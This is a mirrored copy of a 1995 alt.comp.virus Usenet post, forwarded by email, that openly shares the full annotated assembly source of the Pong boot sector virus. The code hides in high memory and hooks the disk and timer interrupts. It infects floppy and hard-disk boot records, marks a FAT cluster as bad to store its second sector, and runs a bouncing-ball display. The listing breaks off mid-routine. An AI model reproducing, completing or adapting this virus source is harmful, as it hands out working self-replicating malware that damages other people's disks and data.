mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-20 18:36:10 +00:00
4b9382ddbc
push
657 lines
22 KiB
NASM
657 lines
22 KiB
NASM
From smtp Tue Feb 7 13:15 EST 1995
|
|
Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Tue, 7 Feb 95 13:15 EST
|
|
Received: by lynx.dac.neu.edu (8.6.9/8.6.9)
|
|
id NAA16239 for joshuaw@pobox.jwu.edu; Tue, 7 Feb 1995 13:17:17 -0500
|
|
Date: Tue, 7 Feb 1995 13:17:17 -0500
|
|
From: lynx.dac.neu.edu!ekilby (Eric Kilby)
|
|
Content-Length: 22178
|
|
Content-Type: text
|
|
Message-Id: <199502071817.NAA16239@lynx.dac.neu.edu>
|
|
To: pobox.jwu.edu!joshuaw
|
|
Subject: (fwd) Pong
|
|
Newsgroups: alt.comp.virus
|
|
Status: O
|
|
|
|
Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.bluesky.net!solaris.cc.vt.edu!uunet!ankh.iia.org!danishm
|
|
From: danishm@iia.org ()
|
|
Newsgroups: alt.comp.virus
|
|
Subject: Pong
|
|
Date: 5 Feb 1995 21:56:02 GMT
|
|
Organization: International Internet Association.
|
|
Lines: 624
|
|
Message-ID: <3h3hhi$sb@ankh.iia.org>
|
|
NNTP-Posting-Host: iia.org
|
|
X-Newsreader: TIN [version 1.2 PL2]
|
|
|
|
Here is the Pong virus:
|
|
|
|
|
|
|
|
; ORIGININ ADDRESS -7C00H
|
|
|
|
|
|
RAM SEGMENT AT 0
|
|
|
|
; SYSTEM DATA
|
|
|
|
ORG 20H
|
|
INT8OF DW ? ; INTERRUPT 8 OFFSET
|
|
INT8SG DW ? ; INTERRUPT 8 SEGMENT
|
|
ORG 4CH
|
|
INT19O DW ? ; INTERRUPT 19 OFFSET
|
|
INT19S DW ? ; INTERRUPT 19 SEGMENT
|
|
ORG 413H
|
|
RAMSIZ DW ? ; TOTAL RAM SIZE
|
|
|
|
; BPB OF VIRUS BOOT RECORD
|
|
|
|
ORG 7C0BH
|
|
BYPSEC DW ? ; BYTES PER SECTOR
|
|
NUMSEC DB ? ; SECTORS PER ALLOCATION UNIT
|
|
SECRES DW ? ; RESERVED SECTORS
|
|
FATNUM DB ? ; NUMBER OF FATS
|
|
DIRNUM DW ? ; NUMBER OF ROOT DIR ENTRIES
|
|
SECNUM DW ? ; NUMBER OF SECTORS
|
|
MEDIAD DB ? ; MEDIA DESCRIPTOR
|
|
SECFAT DW ? ; NUMBER OF SECTORS PER FAT
|
|
SECTRK DW ? ; SECTORS PER TRACK
|
|
HEDNUM DW ? ; NUMBER OF HEADS
|
|
HIDSEC DW ? ; NUMBER OF HIDDEN SECTORS (LOW ORDER)
|
|
|
|
; INTERRUPT 19 (13H) BRANCH ADDRESS
|
|
|
|
ORG 7D2AH
|
|
|
|
ORIG19 DW ? ; ORIGINAL INT 19 OFFSET
|
|
ORG19S DW ? ; ORIGINAL INT 19 SEGMENT
|
|
|
|
; INSTALLATION DATA AREA
|
|
|
|
ORG 7DF3H
|
|
CURFAT DW ? ; CURRENT FAT SECTOR
|
|
CURCLS DW ? ; SECTOR NUMBER OF FIRST CLUSTER
|
|
SWITCH DB ? ; SWITCHES
|
|
; - 01H - NESTED INTERRUPT
|
|
; - 02H - TIMER INTERRUPT INSTALLED
|
|
; - 04H - 16-BIT FAT
|
|
LSTDRV DB ? ; DRIVE LAST USED
|
|
REMAIN DW ? ; SECTOR NUMBER OF REST OF CODE
|
|
RESERV DB ? ; RESERVED SPACE FOR FUTURE HACKING
|
|
FLAG01 DW ? ; FLAG FIELD
|
|
|
|
; DATA AREA
|
|
|
|
ORG 7EB0H
|
|
LASTTM DW ? ; SYSTEM TIME LAST CALLED
|
|
PRCFAT DB ? ; PROCESSED FAT / 256
|
|
|
|
; INTERRUPT 8 BRANCH ADDRESS
|
|
|
|
ORG 7FC9H
|
|
ORG08O DW ? ; ORIGINAL INT 8 OFFSET
|
|
ORG08S DW ? ; ORIGINAL INT 8 SEGMENT
|
|
|
|
; DISPLAY DATA AREA
|
|
|
|
ORG 7FCDH
|
|
CHARAT DW ? ; CHARACTER AND ATTRIBUTES
|
|
ROWCOL DW ? ; ROW AND COLUMN POSITIONS
|
|
ROWCLM DW ? ; ROW AND COLUMN MOVEMENT
|
|
GRAPHM DB ? ; GRAPHICS MODE SWITCH
|
|
MODEAP DW ? ; MODE AND ACTIVE PAGE
|
|
COLUMN DB ? ; VISIBLE COLUMNS - 1
|
|
|
|
; BPB OF ORIGINAL BOOT RECORD
|
|
|
|
ORG 800BH
|
|
BIPSEC DW ? ; BYTES PER SECTOR
|
|
ALCSEC DB ? ; SECTORS PER ALLOCATION UNIT
|
|
VERVED DW ? ; RESERVED SECTORS
|
|
RUMNUM DB ? ; NUMBER OF FATS
|
|
ROTRID DW ? ; NUMBER OF ROOT DIR ENTRIES
|
|
NUOSEC DW ? ; NUMBER OF SECTORS
|
|
MIASET DB ? ; MEDIA DESCRIPTOR
|
|
FASNUM DW ? ; NUMBER OF SECTORS PER FAT
|
|
TRASSC DW ? ; SECTORS PER TRACK
|
|
NUOHED DW ? ; NUMBER OF HEADS
|
|
HIDESC DW ? ; NUMBER OF HIDDEN SECTORS (LOW ORDER)
|
|
|
|
|
|
ORG 81F5H
|
|
FSTCLS DW ? ; SECTOR NUMBER OF FIRST CLUSTER
|
|
SWITCB DB ? ; SWITCHES - 01H - NESTED INTERRUPT
|
|
; - 02H - TIMER INTERRUPT INSTALLED
|
|
; - 04H - 16-BIT FAT
|
|
LASTUS DB ? ; DRIVE LAST USED
|
|
REMAI2 DW ? ; SECTOR NUMBER OF REST OF CODE
|
|
LATER2 DB ? ; TYPE SWITCH
|
|
LATER3 DW 2 DUP (?) ; INSTALLED.. HMMM?
|
|
|
|
|
|
RAM ENDS
|
|
|
|
CODE SEGMENT BYTE PUBLIC 'CODE'
|
|
ASSUME CS:CODE,DS:RAM
|
|
|
|
START:
|
|
JMP HIDE_ME_PLEASE ; BRANCH ROUND BPB TABLE
|
|
|
|
DB 'MSDOS3.2' ; OEM AND VERSION
|
|
|
|
DW 512 ; BYPSEC - BYTES PER SECTOR
|
|
DB 2 ; NUMSEC - SECTORS PER ALLOCATION UNIT
|
|
DW 1 ; SECRES - RESERVED SECTORS
|
|
DB 2 ; FATNUM - NUMBER OF FATS
|
|
DW 112 ; DIRNUM - NUMBER OF ROOT DIR ENTRIES
|
|
DW 720 ; SECNUM - NUMBER OF SECTORS
|
|
DB 0FDH ; MEDIAD - MEDIA DESCRIPTOR
|
|
DW 2 ; SECFAT - NUMBER OF SECTORS PER FAT
|
|
DW 9 ; SECTRK - SECTORS PER TRACK
|
|
DW 2 ; HEDNUM - NUMBER OF HEADS
|
|
DW 0 ; HIDSEC - NUMBER OF HIDDEN SECTORS (LOW ORDER)
|
|
|
|
; START OF PROCESSING
|
|
|
|
; HIDE 2K OF RAM FROM SYSTEM AND MOVE INTO THIS HIDDEN AREA
|
|
|
|
HIDE_ME_PLEASE:
|
|
XOR AX,AX
|
|
MOV SS,AX ; STACK SEGMENT ZERO
|
|
MOV SP,7C00H ; SET STACK POINTER TO START OF BUFFER
|
|
MOV DS,AX ; DATA SEGMENT ZERO
|
|
MOV AX,RAMSIZ ; GET TOTAL RAM SIZE
|
|
SUB AX,2 ; SUBTRACT 2K
|
|
MOV RAMSIZ,AX ; REPLACE AMENDED RAM SIZE
|
|
MOV CL,6 ; NUMBER OF POSITIONS TO SHIFT
|
|
SHL AX,CL ; MULTIPLY RAM SIZE BY 64 (SEGMENT ADDRESS)
|
|
SUB AX,7C0H ; SUBTRACT BUFFER OFFSET
|
|
MOV ES,AX ; SET TARGET SEGMENT ADDRESS
|
|
MOV SI,7C00H ; LOAD BUFFER TARGET OFFSET
|
|
MOV DI,SI ; COPY OFFSET FOR SOURCE
|
|
MOV CX,0100H ; NUMBER OF WORDS TO MOVE
|
|
REPZ MOVSW ; DUPLICATE BOOT SECTOR IN HIGH STORAGE
|
|
; MOV CS,AX ; LOAD SEGMENT OF NEW LOCATION
|
|
; THIS IS THE ILLEGAL OPCODE!
|
|
DB 08EH, 0C8H ; PREVIOUS COMMAND HARD CODED
|
|
|
|
; FROM THIS POINT ON WILL BE RUNNING IN HIGH STORAGE
|
|
|
|
PUSH CS ; \ SET DS EQUAL TO CS
|
|
POP DS ; /
|
|
CALL SET_IT_UP
|
|
SET_IT_UP:
|
|
XOR AH,AH ; INITIALISE DISK SUB-SYSTEM
|
|
INT 13H ; DISK INTERRUPT
|
|
AND LSTDRV,80H ; SET ADDRESS FOR HARD DISK
|
|
MOV BX,REMAIN ; GET SECTOR OF REST OF CODE
|
|
PUSH CS ; \ GET CURRENT SEGMENT
|
|
POP AX ; /
|
|
SUB AX,20H ; ADDRESS BACK ONE SECTOR
|
|
MOV ES,AX ; SET BUFFER SEGMENT FOR REST OF CODE
|
|
CALL READ_IT_IN ; READ REST OF CODE
|
|
MOV BX,REMAIN ; GET SECTOR OF REST OF CODE
|
|
INC BX ; ADDRESS TO BOOT SECTOR STORE
|
|
MOV AX,0FFC0H ; WRAP-AROUND ADDRESS (= -400H)
|
|
MOV ES,AX ; SET BUFFER SEGMENT FOR BOOT SECTOR
|
|
CALL READ_IT_IN ; READ REAL BOOT SECTOR
|
|
XOR AX,AX
|
|
MOV SWITCH,AL ; SET OFF ALL SWITCHES
|
|
MOV DS,AX ; DATA SEGMENT ZERO
|
|
MOV AX,INT19O ; SAVE INT 19 OFFSET
|
|
MOV BX,INT19S ; SAVE INT 19 SEGMENT
|
|
MOV INT19O,OFFSET INT_19+7C00H ; NEW INT 19 OFFSET
|
|
MOV INT19S,CS ; NEW INT 19 SEGMENT
|
|
PUSH CS ; \ SET DS EQUAL TO CS
|
|
POP DS ; /
|
|
MOV ORIG19,AX ; STORE OLD INT 19 OFFSET
|
|
MOV ORG19S,BX ; STORE OLD INT 19 SEGMENT
|
|
MOV DL,LSTDRV ; GET DRIVE NUMBER
|
|
DB 0EAH ; FAR JUMP TO BOOT SECTOR
|
|
DW 7C00H, 0
|
|
|
|
WRITE_IT_OUT:
|
|
MOV AX,301H ; WRITE ONE SECTOR
|
|
JMP SHORT GET_SECTOR
|
|
|
|
READ_IT_IN:
|
|
MOV AX,201H ; READ ONE SECTOR
|
|
GET_SECTOR:
|
|
XCHG BX,AX ; MOVE SECTOR NUMBER TO AX
|
|
ADD AX,HIDSEC ; ADD HIDDEN SECTORS
|
|
XOR DX,DX ; CLEAR FOR DIVISION
|
|
DIV SECTRK ; DIVIDE BY SECTORS PER TRACK
|
|
INC DL ; ADD ONE TO ODD SECTORS
|
|
MOV CH,DL ; SAVE SECTOR NUMBER
|
|
XOR DX,DX ; CLEAR FOR DIVISION
|
|
DIV HEDNUM ; DIVIDE BY NUMBER OF HEADS
|
|
MOV CL,6 ; POSITIONS TO MOVE
|
|
SHL AH,CL ; MOVE TOP TWO BITS OF TRACK
|
|
OR AH,CH ; MOVE IN SECTOR NUMBER
|
|
MOV CX,AX ; MOVE TO CORRECT REGISTER
|
|
XCHG CH,CL ; ..AND CORRECT POSITION IN REG
|
|
MOV DH,DL ; MOVE HEAD NUMBER
|
|
MOV AX,BX ; RECOVER CONTENTS OF AX
|
|
BRING_IN:
|
|
MOV DL,LSTDRV ; GET DRIVE NUMBER
|
|
MOV BX,8000H ; SET BUFFER ADDRESS
|
|
INT 13H ; DISK INTERRUPT
|
|
JNB GO_BACK ; BRANCH IF NO ERRORS
|
|
POP AX
|
|
GO_BACK:
|
|
RET
|
|
|
|
; INTERRUPT 19 (13H) (DISK) ROUTINE
|
|
|
|
INT_19:
|
|
PUSH DS
|
|
PUSH ES
|
|
PUSH AX
|
|
PUSH BX
|
|
PUSH CX
|
|
PUSH DX
|
|
PUSH CS ; \ SET DS EQUAL TO CS
|
|
POP DS ; /
|
|
PUSH CS ; \ SET ES EQUAL TO CS
|
|
POP ES ; /
|
|
TEST SWITCH,1 ; TEST NESTED INTERRUPT SWITCH
|
|
JNZ PASS_OUT ; EXIT IF ON
|
|
CMP AH,2 ; TEST FOR READ SECTOR
|
|
JNZ PASS_OUT ; EXIT IF NOT
|
|
CMP LSTDRV,DL ; COMPARE DRIVE NUMBER
|
|
MOV LSTDRV,DL ; SAVE DRIVE NUMBER
|
|
JNZ INT_SWITCH ; BRANCH IF DIFFERENT THIS TIME
|
|
|
|
; THIS IS THE ACTIVATION CODE. IT HAS A 'WINDOW' OF JUST LESS
|
|
; THAN A SECOND, APPROXIMATELY EVERY HALF HOUR, DURING WHICH
|
|
; TIME A DISK-READ WILL SWITCH IT ON.
|
|
|
|
XOR AH,AH ; GET SYSTEM CLOCK
|
|
INT 1AH ; SYSTEM CLOCK INTERRUPT
|
|
TEST DH,7FH ; TEST LOW WORD HIGH BYTE
|
|
JNZ DO_TIME
|
|
TEST DL,0F0H ; TEST LOW WORD LOW BYTE
|
|
JNZ DO_TIME
|
|
PUSH DX ; SAVE SYSTEM TIME
|
|
CALL INTERRUPT_08 ; INSTALL SYSTEM CLOCK ROUTINE
|
|
POP DX ; RECOVER SYSTEM TIME
|
|
DO_TIME:
|
|
MOV CX,DX ; COPY SYSTEM TIME
|
|
SUB DX,LASTTM ; INTERVAL SINCE LAST CALL
|
|
MOV LASTTM,CX ; SAVE SYSTEM TIME
|
|
SUB DX,24H ; SUBTRACT 2 SECONDS
|
|
JB PASS_OUT ; RETURN IF LESS THAN TWO SECONDS
|
|
INT_SWITCH:
|
|
OR SWITCH,1 ; SET ON NESTED INTERRUPT SWITCH
|
|
PUSH SI
|
|
PUSH DI
|
|
CALL DISK_INSTALL ; INSTALL ON DISK
|
|
POP DI
|
|
POP SI
|
|
AND SWITCH,0FEH ; SET OFF NESTED INTERRUPT SWITCH
|
|
PASS_OUT:
|
|
POP DX
|
|
POP CX
|
|
POP BX
|
|
POP AX
|
|
POP ES
|
|
POP DS
|
|
DB 0EAH ; FAR JUMP TO ORIGINAL INT 19
|
|
DW 01FBH ; ORIG19 - ORIGINAL INT 19 OFFSET
|
|
DW 0C800H ; ORG19S - ORIGINAL INT 19 SEGMENT
|
|
|
|
; DISK INSTALLATION
|
|
|
|
DISK_INSTALL:
|
|
MOV AX,201H ; READ ONE SECTOR
|
|
MOV DH,0 ; HEAD NUMBER 0
|
|
MOV CX,1 ; TRACK 0, SECTOR 1
|
|
CALL BRING_IN ; READ FIRST SECTOR FROM DISK
|
|
TEST LSTDRV,80H ; TEST FOR HARD DRIVE
|
|
JZ FAT_CHECK ; BRANCH IF NOT
|
|
|
|
; HARD DISK - PARTITION TABLE
|
|
|
|
MOV SI,81BEH ; ADDRESS TO PARTITION TABLE
|
|
MOV CX,4 ; NUMBER OF ENTRIES IN TABLE
|
|
NEXT_PART_ENTRY:
|
|
CMP BYTE PTR [SI+4],1 ; TEST FOR DOS 12-BIT FAT
|
|
JZ SNARF_UP_THE_BOOT ; BRANCH IF YES
|
|
CMP BYTE PTR [SI+4],4 ; TEST FOR DOS 16-BIT FAT
|
|
JZ SNARF_UP_THE_BOOT ; BRANCH IF YES
|
|
ADD SI,10H ; ADDRESS TO NEXT ENTRY
|
|
LOOP NEXT_PART_ENTRY ; LOOP THROUGH TABLE
|
|
RET
|
|
|
|
; HARD DISK - GET BOOT RECORD
|
|
|
|
SNARF_UP_THE_BOOT:
|
|
MOV DX,[SI] ; GET HEAD NUMBER OF BOOT
|
|
MOV CX,[SI+2] ; GET TRACK AND SECTOR OF BOOT
|
|
MOV AX,201H ; READ ONE SECTOR
|
|
CALL BRING_IN ; GET BOOT SECTOR FOR PARTITION
|
|
|
|
; BOOT SECTOR PROCESSING
|
|
|
|
FAT_CHECK:
|
|
MOV SI,8002H ; ADDRESS TO BPB SOURCE
|
|
MOV DI,7C02H ; ADDRESS TO BPB TARGET
|
|
MOV CX,1CH ; LENGTH OF BPB
|
|
REPZ MOVSB ; COPY BPB
|
|
CMP LATER3,1357H ; IS VIRUS INSTALLED ALREADY
|
|
JNZ WHERE_BE_THE_FAT ; BRANCH IF NOT
|
|
CMP LATER2,0
|
|
JNB HEAD_EM_OUT
|
|
MOV AX,FSTCLS ; GET SECTOR NO OF FIRST CLUSTER
|
|
MOV CURCLS,AX ; SAVE IT
|
|
MOV SI,REMAI2
|
|
JMP PLACE_VIRUS
|
|
|
|
HEAD_EM_OUT: RET
|
|
|
|
; CALCULATE LOCATION OF FAT AND FIRST CLUSTER
|
|
|
|
WHERE_BE_THE_FAT:
|
|
CMP BIPSEC,200H ; SECTOR SIZE 512
|
|
JNZ HEAD_EM_OUT ; EXIT IF DIFFERENT SIZE
|
|
CMP ALCSEC,2 ; SECTORS PER CLUSTER
|
|
JB HEAD_EM_OUT ; EXIT IF LESS THAN 2
|
|
MOV CX,VERVED ; GET RESERVED SECTORS
|
|
MOV AL,RUMNUM ; NUMBER OF FATS
|
|
CBW ; FILL OUT REGISTER
|
|
MUL FASNUM ; SECTORS PER FAT
|
|
ADD CX,AX ; SECTOR OF ROOT DIR
|
|
MOV AX,20H ; LENGTH OF DIR ENTRY
|
|
MUL ROTRID ; NUMBER OF DIR ENTRIES
|
|
ADD AX,1FFH ; ROUND UP TO WHOLE SECTORS
|
|
MOV BX,200H ; LENGTH OF SECTOR
|
|
DIV BX ; SECTORS OF ROOT DIR
|
|
ADD CX,AX ; SECTOR OF FIRST CLUSTER
|
|
MOV CURCLS,CX ; SAVE THIS
|
|
MOV AX,SECNUM ; GET NUMBER OF SECTORS
|
|
SUB AX,CURCLS ; SUBTRACT NON-DATA SECTORS
|
|
MOV BL,NUMSEC ; GET SECTORS PER CLUSTER
|
|
XOR DX,DX
|
|
XOR BH,BH ; CLEAR TOP OF REGISTER
|
|
DIV BX ; CALCULATE NUMBER OF CLUSTERS
|
|
INC AX ; ALLOW FOR NUMBER ONE NOT USED
|
|
MOV DI,AX
|
|
AND SWITCH,0FBH ; SET OFF 16-BIT FAT SWITCH
|
|
CMP AX,0FF0H ; SEE IF 12-BIT FAT
|
|
JBE WRITE_FAT ; BRANCH IF YES
|
|
OR SWITCH,4 ; SET ON 16-BIT FAT SWITCH
|
|
WRITE_FAT:
|
|
MOV SI,1 ; INITIALISE FAT ENTRY COUNT
|
|
MOV BX,SECRES ; GET RESERVED SECTORS
|
|
DEC BX ; ALLOW FOR ADDITION
|
|
MOV CURFAT,BX ; SAVE CURRENT FAT SECTOR
|
|
MOV PRCFAT,0FEH ; SET PROCESSED FAT LENGTH TO -2
|
|
JMP SHORT READ_FAT
|
|
|
|
; DATA AREA
|
|
|
|
DW 2 ; CURFAT - CURRENT FAT SECTOR
|
|
DW 12 ; CURCLS - SECTOR NUMBER OF FIRST CLUSTER
|
|
DB 1 ; SWITCH - SWITCHES
|
|
; - 01H - NESTED INTERRUPT
|
|
; - 02H - TIMER INTERRUPT INSTALLED
|
|
; - 04H - 16-BIT FAT
|
|
DB 0 ; LSTDRV - DRIVE LAST USED
|
|
DW 02B8H ; REMAIN - SECTOR NUMBER OF REST OF CODE
|
|
DB 0 ; RESERV - RESERVED SPACE.. FOR FUTURE HACKING
|
|
DW 1357H, 0AA55H ; FLAG01 - FLAG FIELD.
|
|
|
|
; END OF FIRST SECTOR, START OF SECOND
|
|
|
|
; SEARCH FAT FOR UNUSED CLUSTER
|
|
|
|
READ_FAT:
|
|
INC CURFAT ; ADDRESS TO NEXT FAT SECTOR
|
|
MOV BX,CURFAT ; GET NEXT SECTOR NUMBER
|
|
ADD PRCFAT,2 ; ADD TO PROCESSED FAT LENGTH
|
|
CALL READ_IT_IN ; READ FAT SECTOR
|
|
JMP SHORT GET_EM_NEXT
|
|
|
|
FAT_SWITCH:
|
|
MOV AX,3 ; LENGTH OF TWO FAT ENTRIES
|
|
TEST SWITCH,4 ; TEST 16-BIT FAT SWITCH
|
|
JZ FAT_ENTRY ; BRANCH IF OFF
|
|
INC AX ; FOUR BYTES NOT THREE
|
|
FAT_ENTRY:
|
|
MUL SI ; MULTIPLY BY FAT ENTRY NUMBER
|
|
SHR AX,1 ; DIVIDE BY TWO
|
|
SUB AH,PRCFAT ; SUBTRACT PROCESSED FAT LENGTH
|
|
MOV BX,AX ; COPY DISPLACEMENT
|
|
CMP BX,1FFH ; SEE IF IN THIS SECTOR
|
|
JNB READ_FAT ; BRANCH IF NOT
|
|
MOV DX,[BX+8000H] ; GET ENTRY
|
|
TEST SWITCH,4 ; TEST 16-BIT FAT SWITCH
|
|
JNZ F_TEST_1 ; BRANCH IF ON
|
|
MOV CL,4 ; POSITIONS TO MOVE
|
|
TEST SI,1 ; TEST FOR ODD-NUMBERED ENTRY
|
|
JZ FAT_TOP ; BRANCH IF NOT
|
|
SHR DX,CL ; SHIFT EVEN ENTRY INTO POSITION
|
|
FAT_TOP:
|
|
AND DH,0FH ; SWITCH OFF TOP BITS
|
|
F_TEST_1:
|
|
TEST DX,0FFFFH ; TEST ALL BITS
|
|
JZ MAKE_BAD ; BRANCH IF NONE ON
|
|
GET_EM_NEXT:
|
|
INC SI ; NEXT FAT ENTRY
|
|
CMP SI,DI ; HAS LAST ENTRY BEEN PROCESSED
|
|
JBE FAT_SWITCH ; BRANCH IF NOT
|
|
RET
|
|
|
|
; SPARE CLUSTER FOUND - INSTALL ON DISK
|
|
|
|
MAKE_BAD:
|
|
MOV DX,0FFF7H ; LOAD BAD SECTOR MARKER
|
|
TEST SWITCH,4 ; TEST 16-BIT FAT SWITCH
|
|
JNZ FIND_SECTOR ; BRANCH IF ON
|
|
AND DH,0FH ; CONVERT MARKER TO FF7H
|
|
MOV CL,4 ; BITS TO MOVE
|
|
TEST SI,1 ; TEST FOR ODD-NUMBERED ENTRY
|
|
JZ FIND_SECTOR ; BRANCH IF NOT
|
|
SHL DX,CL ; MOVE INTO POSITION
|
|
FIND_SECTOR:
|
|
OR [BX+8000H],DX ; PUT MARKER INTO FAT
|
|
MOV BX,CURFAT ; GET SECTOR NUMBER
|
|
CALL WRITE_IT_OUT ; WRITE FAT SECTOR
|
|
MOV AX,SI ; GET ENTRY NUMBER
|
|
SUB AX,2 ; SUBTRACT FIRST CLUSTER NUMBER
|
|
MOV BL,NUMSEC ; GET SECTORS PER CLUSTER
|
|
XOR BH,BH ; CLEAR TOP OF REGISTER
|
|
MUL BX ; CONVERT TO SECTORS
|
|
ADD AX,CURCLS ; ADD SECTOR NUMBER OF 1ST CLUSTER
|
|
MOV SI,AX ; SAVE REAL SECTOR NUMBER
|
|
MOV BX,0 ; SECTOR ZERO
|
|
CALL READ_IT_IN ; READ BOOT SECTOR
|
|
MOV BX,SI ; GET OUTPUT SECTOR NUMBER
|
|
INC BX ; ADDRESS TO NEXT SECTOR
|
|
CALL WRITE_IT_OUT ; WRITE BOOT SECTOR TO STORE
|
|
PLACE_VIRUS:
|
|
MOV BX,SI ; GET OUTPUT SECTOR NUMBER
|
|
MOV REMAIN,SI ; SAVE SECTOR NO OF REST OF CODE
|
|
PUSH CS ; \ GET CURRENT SEGMENT
|
|
POP AX ; /
|
|
SUB AX,20H ; ADDRESS BACK TO VIRUS (2)
|
|
MOV ES,AX ; SET BUFFER ADDRESS
|
|
CALL WRITE_IT_OUT ; WRITE VIRUS (2)
|
|
PUSH CS ; \ GET CURRENT SEGMENT
|
|
POP AX ; /
|
|
SUB AX,40H ; ADDRESS BACK TO VIRUS (1)
|
|
MOV ES,AX ; SET BUFFER ADDRESS
|
|
MOV BX,0 ; SECTOR ZERO
|
|
CALL WRITE_IT_OUT ; WRITE VIRUS (1)
|
|
RET
|
|
|
|
DW 20CH ; LASTTM - SYSTEM TIME LAST CALLED
|
|
DB 2 ; PRCFAT - PROCESSED FAT / 256
|
|
|
|
; INSTALL INTERRUPT 8 (SYSTEM CLOCK) ROUTINE IF NOT DONE
|
|
|
|
INTERRUPT_08:
|
|
TEST SWITCH,2 ; TEST INT 8 INSTALLED SWITCH
|
|
JNZ FINISH_TIME ; BRANCH IF ON
|
|
OR SWITCH,2 ; SET ON INT 8 INSTALLED SWITCH
|
|
MOV AX,0 ; \ SEGMENT ZERO
|
|
MOV DS,AX ; /
|
|
MOV AX,INT8OF ; SAVE INT 8 OFFSET
|
|
MOV BX,INT8SG ; SAVE INT 8 SEGMENT
|
|
MOV INT8OF,OFFSET DO_VIDEO+7C00H ; NEW INT 8 OFFSET
|
|
MOV INT8SG,CS ; NEW INT 8 SEGMENT
|
|
PUSH CS ; \ SET DS EQUAL TO CS
|
|
POP DS ; /
|
|
MOV ORG08O,AX ; STORE OLD INT 8 OFFSET
|
|
MOV ORG08S,BX ; STORE OLD INT 8 SEGMENT
|
|
FINISH_TIME:
|
|
RET
|
|
|
|
; INTERRUPT 10
|
|
|
|
DO_VIDEO:
|
|
PUSH DS
|
|
PUSH AX
|
|
PUSH BX
|
|
PUSH CX
|
|
PUSH DX
|
|
PUSH CS ; \ SET DS EQUAL TO CS
|
|
POP DS ; /
|
|
MOV AH,0FH ; GET VDU PARAMETERS
|
|
INT 10H ; VDU INTERRUPT
|
|
MOV BL,AL ; VDU MODE
|
|
CMP BX,MODEAP ; TEST MODE AND ACTIVE PAGE
|
|
JZ CHARACTER_ATTRIB ; BRANCH IF UNCHANGED
|
|
MOV MODEAP,BX ; SAVE MODE AND ACTIVE PAGE
|
|
DEC AH ; VISIBLE COLUMNS
|
|
MOV COLUMN,AH ; SAVE VISIBLE COLUMNS - 1
|
|
MOV AH,1 ; GRAPHICS MODE SWITCH ON
|
|
CMP BL,7 ; TEST FOR TELETYPE MODE
|
|
JNZ IS_IT_GRAPHICS ; BRANCH IF NOT
|
|
DEC AH ; GRAPHICS MODE SWITCH OFF
|
|
IS_IT_GRAPHICS:
|
|
CMP BL,4 ; TEST FOR GRAPHICS MODE
|
|
JNB ROW_AND_COLUMN ; BRANCH IF GRAPHICS OR TELETYPE
|
|
DEC AH ; GRAPHICS MODE SWITCH OFF
|
|
ROW_AND_COLUMN:
|
|
MOV GRAPHM,AH ; STORE GRAPHICS MODE SWITCH
|
|
MOV ROWCOL,101H ; SET ROW AND COLUMN POSITIONS
|
|
MOV ROWCLM,101H ; SET ROW AND COLUMN MOVEMENT
|
|
MOV AH,3 ; GET CURSOR ADDRESS
|
|
INT 10H ; VDU INTERRUPT
|
|
PUSH DX ; SAVE CURSOR ADDRESS
|
|
MOV DX,ROWCOL ; GET ROW AND COLUMN POSITIONS
|
|
JMP SHORT VIDEO_01
|
|
|
|
CHARACTER_ATTRIB:
|
|
MOV AH,3 ; GET CURSOR ADDRESS
|
|
INT 10H ; VDU INTERRUPT
|
|
PUSH DX
|
|
MOV AH,2 ; SET CURSOR ADDRESS
|
|
MOV DX,ROWCOL ; GET ROW AND COLUMN POSITIONS
|
|
INT 10H ; VDU INTERRUPT
|
|
MOV AX,CHARAT ; GET CHARACTER AND ATTRIBUTES
|
|
CMP GRAPHM,1 ; TEST FOR GRAPHICS MODE
|
|
JNZ WRITE_CHAR ; BRANCH IF NOT
|
|
MOV AX,8307H ; CHARACTER AND WRITE MODE
|
|
WRITE_CHAR:
|
|
MOV BL,AH ; MOVE ATTRIBUTE OR WRITE MODE
|
|
MOV CX,1 ; ONLY ONCE
|
|
MOV AH,9 ; WRITE CHARACTER AND ATTRIBUTES
|
|
INT 10H ; VDU INTERRUPT
|
|
VIDEO_01:
|
|
MOV CX,ROWCLM ; GET ROW AND COLUMN MOVEMENT
|
|
CMP DH,0 ; IS ROW ZERO
|
|
JNZ VIDEO_02 ; BRANCH IF NOT
|
|
XOR CH,0FFH ; \ REVERSE ROW MOVEMENT
|
|
INC CH ; /
|
|
VIDEO_02:
|
|
CMP DH,18H ; IS ROW 24
|
|
JNZ VIDEO_04 ; BRANCH IF NOT
|
|
XOR CH,0FFH ; \ REVERSE ROW MOVEMENT
|
|
INC CH ; /
|
|
VIDEO_04:
|
|
CMP DL,0 ; IS COLUMN 0
|
|
JNZ VIDEO_05 ; BRANCH IF NOT
|
|
XOR CL,0FFH ; \ REVERSE COLUMN MOVEMENT
|
|
INC CL ; /
|
|
VIDEO_05:
|
|
CMP DL,COLUMN ; IS COLUMN LAST VISIBLE COLUMN
|
|
JNZ VIDEO_07 ; BRANCH IF NOT
|
|
XOR CL,0FFH ; \ REVERSE COLUMN MOVEMENT
|
|
INC CL ; /
|
|
VIDEO_07:
|
|
CMP CX,ROWCLM ; COMPARE ROW AND COLUMN MOVEMENT
|
|
JNZ VIDEO_09 ; BRANCH IF CHANGED
|
|
MOV AX,CHARAT ; GET CHARACTER AND ATTRIBUTES
|
|
AND AL,7 ; SWITCH OFF TOP BIT OF CHARACTER
|
|
CMP AL,3 ; TEST BITS 1 AND 2
|
|
JNZ VIDEO_08 ; BRANCH IF OFF
|
|
XOR CH,0FFH ; \ REVERSE ROW MOVEMENT
|
|
INC CH ; /
|
|
VIDEO_08:
|
|
CMP AL,5 ; TEST BITS 1 AND 3
|
|
JNZ VIDEO_09 ; BRANCH IF OFF
|
|
XOR CL,0FFH ; \ REVERSE COLUMN MOVEMENT
|
|
INC CL ; /
|
|
VIDEO_09:
|
|
ADD DL,CL ; NEW COLUMN POSITION
|
|
ADD DH,CH ; NEW ROW POSITION
|
|
MOV ROWCLM,CX ; SAVE ROW AND COLUMN POSITIONS
|
|
MOV ROWCOL,DX ; SAVE ROW AND COLUMN POSITIONS
|
|
MOV AH,2 ; SET CURSOR ADDRESS
|
|
INT 10H ; VDU INTERRUPT
|
|
MOV AH,8 ; READ CHARACTER AND ATTRIBUTES
|
|
INT 10H ; VDU INTERRUPT
|
|
MOV CHARAT,AX ; SAVE CHARACTER AND ATTRIBUTES
|
|
MOV BL,AH ; MOVE ATTRIBUTES
|
|
CMP GRAPHM,1 ; TEST FOR GRAPHICS MODE
|
|
